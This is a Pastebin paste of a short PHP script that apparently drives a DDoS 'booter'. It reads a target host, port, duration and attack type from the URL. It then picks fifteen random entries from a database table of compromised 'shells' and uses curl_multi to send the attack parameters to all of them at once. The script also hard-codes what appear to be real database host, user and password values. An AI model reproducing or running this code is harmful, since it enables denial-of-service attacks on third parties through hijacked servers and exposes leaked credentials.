Advertisement
Guest User

Untitled

a guest
Jul 11th, 2017
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.74 KB | None | 0 0
  1.  
  2. $host = $_GET['host'];
  3. $time = $_GET['time'];
  4. $port = $_GET['port'];
  5. $type = $_GET['type'];
  6. $dbip = "mysql.nl.santrex.net";
  7. $dbuser = "carbonbo_boot";
  8. $dbpass = "X8HZSiTlhKHg";
  9. $dbname = "carbonbo_hub";
  10.  
  11.  
  12.  
  13. $fullcurl = "?host=".$host."&time=".$time."&port=".$port."&type=".$type;
  14. ignore_user_abort(TRUE);
  15.  
  16. $con = mysql_connect($dbip,$dbuser,$dbpass);
  17. mysql_select_db($dbname, $con);
  18. $SQL = mysql_query("SELECT url FROM shells ORDER BY RAND() LIMIT 15") ;
  19. $mh = curl_multi_init();
  20. $handles = array();
  21.  
  22. while($resultSet = mysql_fetch_array($SQL)){ //While fetching the rows
  23. $ch = curl_init($resultSet['url'] . $fullcurl); //Load the urls and send GET data
  24. curl_setopt($ch, CURLOPT_TIMEOUT, 10); //Only load it for 10 seconds (Long enough to send the data, can reduce this if your server is more powerful)
  25. curl_multi_add_handle($mh, $ch); //Add the handles to the multi_handle
  26. $handles[] = $ch;
  27. //Load the array into a handle
  28. }
  29.  
  30. $running = null; // Create a status variable so we know when exec is done.
  31. do { //execute the handles
  32. curl_multi_exec($mh,$running); // Call exec. This call is non-blocking, meaning it works in the background.
  33. usleep(200000); // Sleep while it's executing. You could do other work here, if you have any.
  34. } while ($running > 0); // Keep going until it's done.
  35.  
  36. foreach($handles as $ch) // For loop to remove (close) the regular handles.
  37. {
  38. curl_multi_remove_handle($mh, $ch); // Remove the current array handle.
  39. }
  40. curl_multi_close($mh); // Close the multi handle
  41.  
  42.  
  43.  
  44. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement